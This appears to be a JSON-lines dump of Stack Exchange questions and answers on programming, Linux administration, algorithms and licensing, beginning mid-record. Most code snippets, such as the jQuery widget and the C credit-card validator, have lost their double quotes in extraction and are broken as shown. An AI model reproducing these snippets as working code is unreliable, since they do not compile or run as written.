arguments and using pointfree style.let StringOfLengthConstructor<'c> (length : int) (defaultConstructor : string -> 'c) (input : string) =    match input with    | x when x <> null && x.Length = length -> Some (defaultConstructor input)    | _ -> Nonetype String3 = String3 of stringlet String3 = StringOfLengthConstructor 3 String3However, I don't think that String5 * (String4 option) is a good definition of a zip code. The code should be validating on more than just the string length."  } 
{  "id": "_unix.295165"  , "question": "I'm using zsh with prezto (on OSX and inside tmux, not sure if it matters), and from time to time history gets shared between multiple terminals.I already added unsetopt share_history and also unsetopt SHARE_HISTORY to the end of my .zpreztorc, but it keeps mixing up history.The output of setopt shows that sharehistory is still there! Even after adding unsetopt sharehistory."  , "title": "zsh keeps sharing history even when shared history is disabled"  , "tags": "zsh;prezto"  , "accepted_answer": "Try adding:setopt no_share_historyunsetopt share_historyto ~/.zshrc ... this should work"  } 
{  "id": "_codereview.63193"  , "question": "This is a follow up on JS Progress Bar WidgetI've rewritten it as a jQuery Widget Factory widget, attempting to follow that standard as much possible and fixing the various problems pointed out in my first question.Here is a demo fiddle: http://jsfiddle.net/slicedtoad/eo5hy4LL/Ooh, I didn't know this was live. Duplicate of the fiddle:////////////////////////////// Progress Tracker Widget(function($){    $.widget(dan.progresstracker, {        options: {            step: 1, // current step            steps:['','',''], // default is 3 no-name steps            jumpDirection: back, // values: none,back,forward,both            jumpables: .step-number, .step-label,            // callbacks            jumpforward: null,             jumpback: null,            complete: null        },        // Constructor        _create: function() {            this.options.step = this._constrain(this.options.step);            this.element.addClass(hasProgressTracker)            .append(this._build());            this._bind();            this.update();        },        // Unbinds and then binds a click event for each jumpable        _bind: function(){            this._off(this.element,click);            var onMap = {};            onMap[click +this.options.jumpables] =                function(e){                    this._stepClick(e);                };            this._on(this.element, onMap);        },        // Limit step to an integer >= 0 and <= the number of steps+1        _constrain: function(step){            step = parseInt(step) || 0;            if(step>this.options.steps.length) {return this.options.steps.length+1;} else            if(step<0) {return 0;} else            {return step;}        },        // Builds and returns a jQuery element that is the progress tracker in a neutral state.        _build: function() {            var $node = $(<ol class='progresstrack container'></ol>);            var html = ;            for(var step in this.options.steps){                html +=                    <li class='step'> +                        <div class='step-number'>+(parseInt(step)+1)+</div> +                        <div class='step-line'></div> +                        <div class='step-label-wrap'> +                            <label class='step-label'>+this.options.steps[step]+</label> +                        </div> +                    </li>;            }            $node.html(html);            return $node;        },        // Options setter override.        // Handles options that need updates or rebuilds after changing        _setOptions: function( options ) {            var that = this,                update = false,                rebuild = false,                rebind = false;            $.each( options, function( key, value ) {                if(key === step){                    that.step(value); // use the setter                }else{                    that._setOption( key, value );                    if(key === jumpDirection){                        update = true;                    }else if(key === steps){                        rebuild = true;                    }else if(key === jumpables){                        update = true;                        rebind = true;                    }                }            });            if( rebuild ){                this.element.find(.progresstrack).replaceWith(this._build());                this.step(this.options.step);                this.update();                            }            if( rebind ){                this._bind();            }            if( update ){                this.update();            }        },        // Handler for user clicking on a jumpable element        // Triggers relevant callbacks        _stepClick: function(e){            var step = this.element.find(.step)                       .index($(e.target).closest('.step'))+1;            var jumpable = ($(e.target).parents('.jumpable').length)?true:false;                        if(step===this.options.step){                return; // Nothing changed, return            }else if(step>this.options.step && jumpable){                if(!this._trigger(jumpforward,e,{step:step})){                    return; // Canceled                }            }else if(step<this.options.step && jumpable){                if(!this._trigger(jumpback,e,{step:step})){                    return; // Canceled                };            }else{                return; // Wrong direction            }            this.step(step); // Apply change        },        // step() gets the current step        // step(int) sets the current step. Does not trigger callbacks except complete.        step: function(step){            if(typeof step === 'undefined') {                return this.options.step;            }else{                this.options.step = this._constrain(step);                this.update();                if(this.options.step === this.options.steps.length+1){ // if complete                    this._trigger(complete);                }                return this;            }        },        // Increments step by one.        // Convenience function since this will usually be the most common action.        // Only triggers complete callback and only if it actually changed to complete (and wasn't there already)        next: function(){            var nextstep = this.options.step+1;            if(this._constrain(nextstep)===this.options.step){                return this;            }else{                this.step(nextstep);                return this;            }        },        // Update the <ol> and <li> classes to reflect the current step        update: function(){            // Reset progress bar status            $e = this.element;            $e.find(.step-current).removeClass(step-current);            $e.find(.step-finished).removeClass(step-finished);            $e.find(.jumpable).removeClass(jumpable);                        // If complete            if(this.options.step>this.options.steps.length){                $e.find('.step').addClass(step-finished);                $e.addClass(complete);                if((this.options.jumpDirection===back ||                    this.options.jumpDirection===both)){ // if jumpback                    // add jumpable to all steps                    $e.find(.step).addClass(jumpable);                 }                return this;            }                        // If current == 0 (pre-first step)            if(this.options.step===0){                if((this.options.jumpDirection===forward ||                    this.options.jumpDirection===both)){ // if jumpforward                    // add jumpable to all steps                    $e.find(.step).addClass(jumpable);                 }                return this;            }                        // Set current step            var $current = $e.find(.step:nth-child(+this.options.step+))                           .addClass(step-current);            var $prevAll = $current.prevAll('.step').addClass(step-finished);            if((this.options.jumpDirection===back ||                this.options.jumpDirection===both)){                $prevAll.addClass(jumpable);            }            if((this.options.jumpDirection===forward ||                this.options.jumpDirection===both)){                $current.nextAll('.step').addClass(jumpable);            }            return this;        }    });})(jQuery);////////////////////////////// Usage// Tracker 1 test - all options and callbacksvar $pbar = $(#ProgressTracker1);var steps = [[Date,Items,Preview,Details,Confirm],[Cart,Shipping,Checkout]];var toggle = 0;$pbar.progresstracker({    step: 1,    steps:steps[toggle],    jumpDirection:both,    jumpforward:function(e,data){        if(data.step === 3){            $(#Events).append(<br/>Cancelled forward jump to +data.step);            return false;          }        $(#Events).append(<br/>Jumped forward to step +data.step);    },    jumpback:function(e,data){        $(#Events).append(<br/>Jumped back to step +data.step);    },    complete:function(){        $(#Events).append(<br/>Progress complete.);    }});$(#next).on(click,function(){    $pbar.progresstracker(next)});$(#previous).on(click,function(){    $pbar.progresstracker(step,$pbar.progresstracker(step)-1)});$(#steps).on(click,function(){    toggle = !toggle;    $pbar.progresstracker(option,{steps:steps[toggle|0]});});$(#jumpdir).on(change,function (e) {    var valueSelected = this.value;    $pbar.progresstracker(option,{jumpDirection:this.value});});// Tracker 2 test - defaultvar $pbar2 = $(#ProgressTracker2).progresstracker();$(#next2).on(click,function(){    $pbar2.progresstracker(next)});$(#previous2).on(click,function(){    $pbar2.progresstracker(step,$pbar2.progresstracker(step)-1)});/*Default progresstrack CSS*/ol.progresstrack {    list-style-type: none;    padding-left:0;}.progresstrack.container {    display: flex;    align-items: flex-end;    padding-top: 22px;}.progresstrack .step {    flex-grow:1;    position:relative;    text-align: center;    z-index:1;}.progresstrack .step-number {    position:relative;    z-index:10;    width: 20px;    height: 20px;    border-radius: 10px;    background-color:white;    display:inline-block;    text-align: center;    line-height: 20px;    border:1px solid;}.progresstrack .jumpable .step-number:hover{    cursor: pointer;}.progresstrack .step-finished .step-number{    background-color: green;}.progresstrack .step-current .step-number{    background-color:lightblue;}.progresstrack .step-label-wrap {    position: absolute;    width:100%;    top: -22px;}.progresstrack .step-label {    padding: 0px 1px;}.progresstrack .step-line {    width: 100%;    height: 0px;    overflow: auto;    margin: auto;    position: absolute;    top: 0; left: 0; bottom: 0; right: -100%;    background-color: white;    border:1px solid;}.progresstrack .step:last-of-type .step-line{    display:none;}/*User CSS*/#ProgressTracker1.hasProgressTracker{    border:1px solid;    background-color:lightgrey;}#ProgressTracker1 .progresstrack .step-number{    -webkit-transition: .2s;    -moz-transition: .2s;}#ProgressTracker1 .progresstrack .step-line{    -webkit-transition: .2s;    -moz-transition: .2s; }#ProgressTracker1 .progresstrack .jumpable .step-number:hover{    -webkit-transform: scale(1.2);    -moz-transform: scale(1.2);}#ProgressTracker1 .progresstrack .step-finished .step-line {    background-color: green;}#ProgressTracker1 .progresstrack .step-current .step-line {    background-color: lightblue;}#ProgressTracker1 .progresstrack .step-line {    height:1px;    background-color: white;}#ProgressTracker1 .step-label {    -webkit-transition: .2s;    -moz-transition: .2s;    border:1px solid;    padding:0px 2px;    background:white;}#ProgressTracker1 .step-finished .step-label{    background-color: green;}#ProgressTracker1 .step-current .step-label {    background-color: lightblue;}#ProgressTracker1 .progresstrack .jumpable .step-label:hover{    cursor: pointer;}<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js></script><script src=//ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js></script><div id='ProgressTracker2'>Default Progress Tracker</div><button type='button' id='previous2'>Previous</button><button type='button' id='next2'>Next</button><hr/><div id='ProgressTracker1'>Custom Progress Tracker</div><button type='button' id='previous'>Previous</button><button type='button' id='next'>Next</button><button type='button' id='steps'>Change Steps</button><br/><label for='jumpdir'>Jump Direction</label><select id='jumpdir'>    <option>both</option>    <option>forward</option>    <option>back</option>    <option>none</option></select><p id=Events>Tracker Callbacks: </p>Focuslow couplingsimple interface allowing for lots of flexibility without too many optionscustomization: as much as possible with just css, other things with the options method.standards. I tried to use the patterns/conventions that are outlined in the widget factory docs but there are something I'm unsure about:naming conventions (of everything, but specifically the css classes: do the hyphenated class names make sense?)public methods vs _setOptions override. For example, I have a next method for convenience but no previous method since this is a less used action and still available through options. Does this make sense?support for modern browsers only.One thing I decided not to do that was suggested in my previous answer was to define the ol in the html and have the widget add the functionality. I attempted but it got too messy and I've dropped it.InterfaceMethodsprogresstracker(options): Creates a progress tracker with the specified options object.step(step): Changes the tracker's current step.next(): Changes the tracker to the next step.update(): Sets the appropriate css classes according to the current step. This should be called automatically unless the progresstracker is modified by another class.Optionsstepintdefault 1stepsstring arraydefault [,,]jumpDirectionstring (none, back, forward, or both)default backjumpablescomma delim string (list of classes that trigger jump events when clicked)default .step-number, .step-labeljumpforwardcallback(event,data)return false cancels the jumpjumpbackcallback(event,data)return false cancels the jumpcompletecallback()CodeProgress Tracker Widget(function($){    $.widget(dan.progresstracker, {        options: {            step: 1, // current step            steps:['','',''], // default is 3 no-name steps            jumpDirection: back, // values: none,back,forward,both            jumpables: .step-number, .step-label,            // callbacks            jumpforward: null,             jumpback: null,            complete: null        },        // Constructor        _create: function() {            this.options.step = this._constrain(this.options.step);            this.element.addClass(hasProgressTracker)            .append(this._build());            this._bind();            this.update();        },        // Unbinds and then binds a click event for each jumpable        _bind: function(){            this._off(this.element,click);            var onMap = {};            onMap[click +this.options.jumpables] =                function(e){                    this._stepClick(e);                };            this._on(this.element, onMap);        },        // Limit step to an integer >= 0 and <= the number of steps+1        _constrain: function(step){            step = parseInt(step) || 0;            if(step>this.options.steps.length) {return this.options.steps.length+1;} else            if(step<0) {return 0;} else            {return step;}        },        // Builds and returns a jQuery element that is the progress tracker in a neutral state.        _build: function() {            var $node = $(<ol class='progresstrack container'></ol>);            var html = ;            for(var step in this.options.steps){                html +=                    <li class='step'> +                        <div class='step-number'>+(parseInt(step)+1)+</div> +                        <div class='step-line'></div> +                        <div class='step-label-wrap'> +                            <label class='step-label'>+this.options.steps[step]+</label> +                        </div> +                    </li>;            }            $node.html(html);            return $node;        },        // Options setter override.        // Handles options that need updates or rebuilds after changing        _setOptions: function( options ) {            var that = this,                update = false,                rebuild = false,                rebind = false;            $.each( options, function( key, value ) {                if(key === step){                    that.step(value); // use the setter                }else{                    that._setOption( key, value );                    if(key === jumpDirection){                        update = true;                    }else if(key === steps){                        rebuild = true;                    }else if(key === jumpables){                        update = true;                        rebind = true;                    }                }            });            if( rebuild ){                this.element.find(.progresstrack).replaceWith(this._build());                this.step(this.options.step);                this.update();                            }            if( rebind ){                this._bind();            }            if( update ){                this.update();            }        },        // Handler for user clicking on a jumpable element        // Triggers relevant callbacks        _stepClick: function(e){            var step = this.element.find(.step)                       .index($(e.target).closest('.step'))+1;            var jumpable = ($(e.target).parents('.jumpable').length)?true:false;            if(step===this.options.step){                return; // Nothing changed, return            }else if(step>this.options.step && jumpable){                if(!this._trigger(jumpforward,e,{step:step})){                    return; // Canceled                }            }else if(step<this.options.step && jumpable){                if(!this._trigger(jumpback,e,{step:step})){                    return; // Canceled                };            }else{                return; // Wrong direction            }            this.step(step); // Apply change        },        // step() gets the current step        // step(int) sets the current step. Does not trigger callbacks except complete.        step: function(step){            if(typeof step === 'undefined') {                return this.options.step;            }else{                this.options.step = this._constrain(step);                this.update();                if(this.options.step === this.options.steps.length+1){ // if complete                    this._trigger(complete);                }                return this;            }        },        // Increments step by one.        // Convenience function since this will usually be the most common action.        // Only triggers complete callback and only if it actually changed to complete (and wasn't there already)        next: function(){            var nextstep = this.options.step+1;            if(this._constrain(nextstep)===this.options.step){                return this;            }else{                this.step(nextstep);                return this;            }        },        // Update the <ol> and <li> classes to reflect the current step        update: function(){            // Reset progress bar status            $e = this.element;            $e.find(.step-current).removeClass(step-current);            $e.find(.step-finished).removeClass(step-finished);            $e.find(.jumpable).removeClass(jumpable);            // If complete            if(this.options.step>this.options.steps.length){                $e.find('.step').addClass(step-finished);                $e.addClass(complete);                if((this.options.jumpDirection===back ||                    this.options.jumpDirection===both)){ // if jumpback                    // add jumpable to all steps                    $e.find(.step).addClass(jumpable);                 }                return this;            }            // If current == 0 (pre-first step)            if(this.options.step===0){                if((this.options.jumpDirection===forward ||                    this.options.jumpDirection===both)){ // if jumpforward                    // add jumpable to all steps                    $e.find(.step).addClass(jumpable);                 }                return this;            }            // Set current step            var $current = $e.find(.step:nth-child(+this.options.step+))                           .addClass(step-current);            var $prevAll = $current.prevAll('.step').addClass(step-finished);            if((this.options.jumpDirection===back ||                this.options.jumpDirection===both)){                $prevAll.addClass(jumpable);            }            if((this.options.jumpDirection===forward ||                this.options.jumpDirection===both)){                $current.nextAll('.step').addClass(jumpable);            }            return this;        }    });})(jQuery);Default CSSol.progresstrack {    list-style-type: none;    padding-left:0;}.progresstrack.container {    display: flex;    align-items: flex-end;    padding-top: 22px;}.progresstrack .step {    flex-grow:1;    position:relative;    text-align: center;    z-index:1;}.progresstrack .step-number {    position:relative;    z-index:10;    width: 20px;    height: 20px;    border-radius: 10px;    background-color:white;    display:inline-block;    text-align: center;    line-height: 20px;    border:1px solid;}.progresstrack .jumpable .step-number:hover{    cursor: pointer;}.progresstrack .step-finished .step-number{    background-color: green;}.progresstrack .step-current .step-number{    background-color:lightblue;}.progresstrack .step-label-wrap {    position: absolute;    width:100%;    top: -22px;}.progresstrack .step-label {    padding: 0px 1px;}.progresstrack .step-line {    width: 100%;    height: 0px;    overflow: auto;    margin: auto;    position: absolute;    top: 0; left: 0; bottom: 0; right: -100%;    background-color: white;    border:1px solid;}.progresstrack .step:last-of-type .step-line{    display:none;}Example Use// Initialize$(#ProgressTracker).progresstracker({    step: 1,    steps:[Date,Items,Preview,Details,Confirm],    jumpDirection:both,    jumpforward:function(e,data){        if(data.step === 3){            return false; //cancel forward jumps to step 3        }        //do something    },    jumpback:function(e,data){        //do something;    },    complete:function(){        //do something    }});//Make changes to options$(#ProgressTracker).progresstracker(option,{steps:steps[a,b,c]});"  , "title": "jQuery Widget - Progress Tracker"  , "tags": "javascript;jquery;html;css;jquery ui"  , "accepted_answer": "ReadabilityThe writing style is seriously hurting readability at some places, but especially here:_constrain: function(step){    step = parseInt(step) || 0;    if(step>this.options.steps.length) {return this.options.steps.length+1;} else    if(step<0) {return 0;} else    {return step;}}With the if, else if, else nicely laid out, this becomes:_constrain: function(step) {    step = parseInt(step) || 0;    if (step > this.options.steps.length) {        return this.options.steps.length + 1;    } else if (step < 0) {        return 0;    } else {        return step;    }}When laid out like this, it's easier to see new opportunities for simplification. For example:_constrain: function(step) {    step = parseInt(step) || 0;    if (step > this.options.steps.length) {        return this.options.steps.length + 1;    }    return step < 0 ? 0 : step;}Parsing integersThe documentation of parseInt says to always specify a radix parameter:parseInt(step, 10);Inconsistent writing styleSometimes you write if statements like this:if(step===this.options.step){And sometimes like this:if( rebind ){    this._bind();}if( update ){    this.update();}It looks as if the code had been written by 2 different people.It would be better to pick one style and stick with it.Which one you pick is a matter of taste, my preference is as you can see in earlier examples.Ternary on booleanThis is just silly:var jumpable = ($(e.target).parents('.jumpable').length)?true:false;Instead of the ternary operator (or if-else) on boolean-y expressions,you can be more direct:var jumpable = $(e.target).parents('.jumpable').length > 0;"  } 
{  "id": "_codereview.22915"  , "question": "I have written a lock free MPMC FIFO in C based on a ring buffer. It uses gcc's atomic built-ins to achieve thread safety. The queue is designed to return -1 if it's full on enqueue or empty on dequeue. After some feedback, I've changed by design. I have tested this code to work, but testing multithreaded code is hardly enough to prove it's correct. struct queue{    void** buf;    size_t num;    uint64_t writePos;    uint64_t readPos;};queue_t* createQueue(size_t num){    struct queue* new = xmalloc(sizeof(*new));    new->buf = xmalloc(sizeof(void*) * num);    memset(new->buf, 0, sizeof(void*)*num);    new->readPos = 0;    new->writePos = 0;    new->num = num;    return new;}void destroyQueue(queue_t* queue){    if(queue)    {        xfree(queue->buf);        xfree(queue);    }}int enqueue(queue_t* queue, void* item){    for(int i = 0; i < kNumTries; i++)    {        if(__sync_bool_compare_and_swap(&queue->buf[queue->writePos % queue->num], NULL, item))        {            __sync_fetch_and_add(&queue->writePos, 1);            return 0;        }    }    return -1;}void* dequeue(queue_t* queue){    for(int i = 0; i < kNumTries; i++)    {        void* value = queue->buf[queue->readPos % queue->num];        if(value && __sync_bool_compare_and_swap(&queue->buf[queue->readPos % queue->num], value, NULL))        {            __sync_fetch_and_add(&queue->readPos, 1);            return value;        }    }    return NULL;}(link to the previous iteration)"  , "title": "Lock free MPMC Ring buffer implementation in C"  , "tags": "c;multithreading;thread safety;circular list"  } 
{  "id": "_unix.107861"  , "question": "Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected?I have a shell script that I want to capture STDOUT and STDERR. The script will run for perhaps an hour or more, so I want to occasionally write some status messages to the screen that will be displayed and not redirected (not captured).For a minimal example, I have a shell script, let's say ./myscript.sh:#!/bin/sh -uecho Message A: This writes to STDOUT or wherever '1>' redirects to.echo Message B: This writes to STDOUT or wherever '1>' redirects to.>&1echo Message C: This writes to STDERR or wherever '2>' redirects to.>/dev/stderrecho Message D: This writes to STDERR or wherever '2>' redirects to.>&2echo Message E: Write this to 'screen' regardless of (overriding) redirection. #>???  Then, for example, I'd like to see this output when I run the script like this:  [~]# ./myscript.sh > fileout 2> filerrMessage E: Write this to 'screen' regardless of (overriding) redirection.[~]# ./myscript.sh > /dev/null 2>&1Message E: Write this to 'screen' regardless of (overriding) redirection.[~]#    If this cannot be done directly, is it possible to temporarily discontinue redirection, then print something to the screen, then restore redirection as it was?Some info about the computer:  [~]# uname -srvmpioLinux 3.2.45 #4 SMP Wed May 15 19:43:53 CDT 2013 x86_64 x86_64 x86_64 GNU/Linux[~]# ls -l /bin/sh /dev/stdout /dev/stderrlrwxrwxrwx 1 root root  4 Jul 18 23:18 /bin/sh -> bashlrwxrwxrwx 1 root root 15 Jun 29  2013 /dev/stderr -> /proc/self/fd/2lrwxrwxrwx 1 root root 15 Jun 29  2013 /dev/stdout -> /proc/self/fd/1"  , "title": "How to output to screen overriding redirection"  , "tags": "bash;shell script;io redirection"  } 
{  "id": "_unix.157459"  , "question": "I've recently set up a new system with MSI Z97 gaming 5 motherboard however the first issue I've encountered was that the sound was crackling.I've fixed that by updating the kernel to 3.16.3Now the issue I have is that the sound is really silent on every output(audio jack, usb). Here are the things I've tried.Checking Alsamixer: Checking KDE audio/video settings and pulse.Before trying to fix modprobe.h/alsa-base.conf by adding: options snd-hda-intel vid=8086 pid=8ca0 snoop=0to fix the crackling. (full alsa-base.conf here: http://paste.kde.org/p2mzluohd)Am I missing something here? I have everything on 100% but it sounds like 20% on windows on every output (I've tried logitech speakers via generic audio jack, sony headphones via generic audio jack and logitech g930 headset via usb)."  , "title": "Low sound volume issues on Z97 motherboard and linux mint KDE"  , "tags": "linux mint;kde;audio;alsa;pulseaudio"  , "accepted_answer": "So today I woke up turned on my system and everything works fine. Not sure what happened but I did reinstalls on pulseaudio before that and changed the snoop=0 to snoop=1 in the etc/modprobe.h/alsa-base.conf to the previous command I had there. So one of those things fixed it.If someone comes up with the same issue be sure to install the latest stable kernel before you do any of the stuff I did.EDIT: Also seems like sometimes the os thinks headphones are running instead of analog output thus resulting in lower sound volumes, you might want to look into that as well."  } 
{  "id": "_unix.357798"  , "question": "I was installing some packages and during the install of one, the system hung and the package was not installed. But, the package was added to the list of installed packages. So, I restart the system and I try the following:When I try to remove the package, it doesn't work because it can't find a config file.When I try to install the package, it says the package is already installed, and therefore won't install itWhen I try to update, it tries to remove the package, and encounters the error above.So, my question is asking if there's a way to manually remove a package from the list of installed packages, or is there another way to solve this problem?When I run: sudo apt-get upgradeError is:Reading package lists... DoneBuilding dependency treeReading state information... DoneCalculating upgrade... DoneThe following packages will be REMOVED:  libglade2.0-cil libglib2.0-cil libgtk2.0-cil0 upgraded, 0 newly installed, 3 to remove and 0 not upgraded.18 not fully installed or removed.After this operation, 2,819 kB disk space will be freed.Do you want to continue? [Y/n] Y(Reading database ... 119043 files and directories currently installed.)Removing libglade2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.8.glade-sharp.installcligacdpkg: error processing package libglade2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Removing libgtk2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.6.gtk-dotnet.installcligacdpkg: error processing package libgtk2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Removing libglib2.0-cil (2.12.26-0xamarin1) ...E: File does not exist: /usr/share/cli-common/packages.d/policy.2.6.glib-sharp.installcligacdpkg: error processing package libglib2.0-cil (--remove): subprocess installed post-removal script returned error exit status 1Errors were encountered while processing: libglade2.0-cil libgtk2.0-cil libglib2.0-cilE: Sub-process /usr/bin/dpkg returned an error code (1)"  , "title": "Unable to remove CLI library packages"  , "tags": "debian;apt;package management;raspbian;mono"  , "accepted_answer": "There are a couple of approaches to try.The first is to fix /usr/share/cli-common/policy-remove so it doesnt fail if the policy is absent: edit its last line so that it runs rm -f instead of rm. That should allow the packages to be removed correctly.If that fails, and since youre trying to remove all the Mono packages, it should be safe enough to remove the failing postrm scripts:sudo rm /var/lib/dpkg/info/lib{glade,glib,gtk}2.0-cil.postrmThe only operation the postrm scripts do is unregister the policies, which you dont care about since youre removing everything anyway.Youre not the only person to have suffered from this issue: it was reported in 2012 as Debian bug 692962."  } 
{  "id": "_cs.11607"  , "question": "Given an undirected graph $G=(V,E)$ could we build a tree $T$ that approximates the distances from given vertex $r$ and the total weight, i.e. $\\forall x \\in V, d_G(r,x) \\le d_T(r,x) \\le 3 \\cdot d_G(r,x)$ and $w(T) \\le 3\\cdot w(\\text{MST}(G))$, where $\\text{MST}$ is the minimum spanning tree and $w(\\cdot)$ is the weight function i.e. $w:\\Bbb E \\to \\Bbb R^+$. $d_G(v,u)$ denotes the shortest path distance between $v$ and $u$ in $G$, and $d_T(v,u)$ is the shortest path distance between $v$ and $u$ in $T$.Could any one help me to understand how to build this tree and if there is any material that would help?"  , "title": "Finding a tree that approximates the distances and total weights"  , "tags": "algorithms;approximation"  , "accepted_answer": "Your problem is solved in the following paper by Khuller, Raghavachari, and Young. They show that you can construct a tree in which distances from the root are stretched by at most $\\alpha$ and the total weight of the tree is at most $1 + 2/(\\alpha - 1)$ times the weight of the MST. So, with $\\alpha=3$, you can get $2$ times the weight of the MST. The algorithm does a depth-first traversal of the MST, and  adds paths from the shortest path tree when necessary, roughly speaking maintaining a shortest path structure in the current graph, which consists of the MST edges and the edges added from the shortest path three. Check the paper for details.As I mentioned in the comment, there are graphs in which the weight of the shortest path tree rooted at some vertex is greater than the MST weight by $\\Omega(n)$. One example is a path of unit weight edges, and edges from the first vertex in the path to the $i$-th vertex of weight just slightly less than $i-1$. "  } 
{  "id": "_softwareengineering.200259"  , "question": "As I have been taught - one controller = one use case.But I have:OutsiderControllerSupplierController (which extends OutsiderController)SubContractorController (which also extentds OutsiderController)And I want to do the SSD for SupplierController and SubContractorController. What do I do? Do I write in both SSDs the methods from OutsiderController? "  , "title": "Creating a System Sequence Diagram from an [extended] use case"  , "tags": "java;design patterns;mvc"  } 
{  "id": "_webapps.18485"  , "question": "I've been searching but what I've found was always about uploading a video to Tumblr or about adding audio only on Tumblr. None of the results has a solution for my problem. I just want to display a video that's already uploaded on YouTube, not uploading it to Tumblr. How do I embed YouTube video on a Tumblr text post?"  , "title": "Embed YouTube video on Tumblr"  , "tags": "youtube;tumblr;embed"  , "accepted_answer": "I think you misinterpret what the user interface is saying.There are two options in the video interface.Embed a videoUpload a videoYou want option 1. If you want to add some text you can use the caption.Another way to do this will be a regular Add a Text PostFrom there you can use html and YouTube embed option (using the share link at the bottom of a YouTube video) to place it where ever you wish.Example<p>Go for text</p><iframe width=560 height=345 src=http://www.youtube.com/embed/IwX3FdwMCUs frameborder=0></iframe><p>And here goes the rest.</p>"  } 
{  "id": "_unix.305833"  , "question": "I am following this tutorial on using a mobile phone's accelerometer.In order for it to work properly you have to run three commands on startup every time...rfkill unblock bluetoothkillall bluetoothdhciconfig hci0 upIs there a way to do this with a script on startup instead of manually doing it every time?"  , "title": "Running Commands on Startup"  , "tags": "startup;yocto"  } 
{  "id": "_codereview.45455"  , "question": "Below is some code which verifies a credit card number using the checksum as well as check if number of digits are appropriate as well if digits start with right numbers. I am not sure if converting the double into a string was the best bet. I wasn't going to at first but had trouble figuring out the modulo math to get every second digit without knowing the length of the double (# of digits).Also, in my use of strtok(), what should I be doing with the balance of the string after the delimiter? Is that hanging out in memory somewhere?#include <stdio.h>#include <stdlib.h>#include <string.h>int main(void){    double cardnumber;    printf(Give me a number: \\n);    scanf(%lf, &cardnumber);    if(cardnumber < 1000000000000 || cardnumber > 10000000000000000)    {        printf(INVALID\\n);        return 0;    }    if(cardnumber < 100000000000000 && cardnumber > 9999999999999)    {        printf(INVALID\\n);        return 0;       }    char creditcard[17];    sprintf(creditcard, %f, cardnumber);    char* ptr_cc;    ptr_cc = strtok(creditcard,.);    int card_size = strlen(ptr_cc);    int sum = 0;    for(int i = 1; i < card_size; i+=2)    {        int x = creditcard[card_size-1-i] - '0';        int prod = 2 * x;        if(prod>=10)        {            prod = prod%10 + prod/prod%10;        }        sum += prod;          }    for(int i = 0; i < card_size; i+=2)    {        int x = creditcard[card_size-1-i] - '0';        sum += x;          }    if(sum%10 != 0)    {        printf(INVALID\\n);        return 0;     }    else if(creditcard[0] == '4')    {        printf(VISA\\n);        return 0;     }    else if(creditcard[0] == '3' && (creditcard[1] == '7' || creditcard[1] =='4'))    {        printf(AMEX\\n);        return 0;     }    else if(creditcard[0] == '5' && (creditcard[1] >='1' && creditcard[1] <='5'))    {        printf(MASTERCARD\\n);        return 0;     }    else    {        printf(INVALID\\n);        return 0;        }         }"  , "title": "Credit card verification: string conversion most optimal?"  , "tags": "c;validation;finance"  , "accepted_answer": "As @Keith says, credit card numbers should be treated as strings, not numbers, and definitely not floating-point numbers.  If you want to ensure that the input contains only digits (and maybe spaces), use strspn().  Squeeze out any spaces, then validate the length using strlen().The Luhn checksum check should be in its own function.  The loop indexes would be more natural counting down, I think, since you are taking every other digit starting from the right.int is_valid_luhn(const char *creditcard){    int card_size = strlen(creditcard);    int sum = 0;    for(int i = card_size - 2; i >= 0; i -= 2)    {        int digit = creditcard[i] - '0';        int prod = 2 * digit;        sum += prod / 10 + prod % 10;      /* No special case needed */    }    for(int i = card_size - 1; i >= 0; i -= 2)    {        sum += creditcard[i] - '0';    }    return sum % 10 == 0;}"  } 
{  "id": "_softwareengineering.135450"  , "question": "How is it legally possible to take a project initially released as open source back to closed source? Especially one licensed with the GPL any version."  , "title": "Taking an open source project to closed source"  , "tags": "licensing;legal;closed source"  , "accepted_answer": "There are two things here:revoking the open source license which has been given.  It will probably depend on the text of the license. If the license has no provision, I'm not sure it is possible if the licensee hasn't infringed it. And some license like GPL version 3, are explicit in that:All rights granted under this License are granted for the term of  copyright on the Program, and are irrevocable provided the stated  conditions are met.re-licensing under other terms. It is possible as long as you get the agreement of all copyright holders. If you had the foresight to get it before accepting the contributions (some GNU projects like GCC ask you to assign the copyright to the FSF for instance) it is easy. If you didn't, it will be difficult (some project do that voluntarily so that a change of license is in practice impossible, getting the agreement of everybody or tracking and removing the contributions of those who didn't being impractical).(Mandatory mention: I'm not a lawyer, see yours, and some aspect may be localised and depend on your jurisdiction)."  } 
{  "id": "_webapps.91669"  , "question": "I forgot my Yahoo! password, I tried many times to recover it but I cant, and I called Yahoo! customer service, they said that I have to pay for it. Please help me to recover it."  , "title": "How to reset forgot Yahoo! password?"  , "tags": "yahoo;yahoo mail"  } 
{  "id": "_unix.303169"  , "question": "Perhaps not the most cardinal question on this site, but: The Debian project has been using release names which are characters from the Pixar animation film 'Toy Story'. But - they're about to run out of characters soon. What will they use afterwards? I'm curious."  , "title": "What will Debian releases be called after they run out of Toy Story characters?"  , "tags": "debian;version"  , "accepted_answer": "Since 1995 (the release of Toy Story), Debian has been using 15 names. The first Toy Story had about 18 named characters (people and toys, both of which have been used for Debian releases), Toy Story 2 added another 8 names, and Toy Story 3 another 17 (I might have missed, double counted one or two). Toy Story 4 is in the making.The stories have been adding Debian names at a rate of 2.04 per year and Debian has been using them at a rate of 0.71 per year. Clearly that means that Debian will never run out of names to use, assuming that Debian will persist to exist and that Toy Story sequels will be made ad infinitum. Even if Toy Story 4 were the last and would not have any additional names we have enough names another 40 or so years of release of Debian."  } 
{  "id": "_reverseengineering.14751"  , "question": "I am writing a reversing challenge where I need to seed a bug. It's important to have a particular ordering of local variable on stack in a method. However, gcc seems to shuffle those around. How can I control variable ordering in such cases?"  , "title": "How can I control local variable ordering on stack in gcc?"  , "tags": "stack;gcc;local variables"  } 
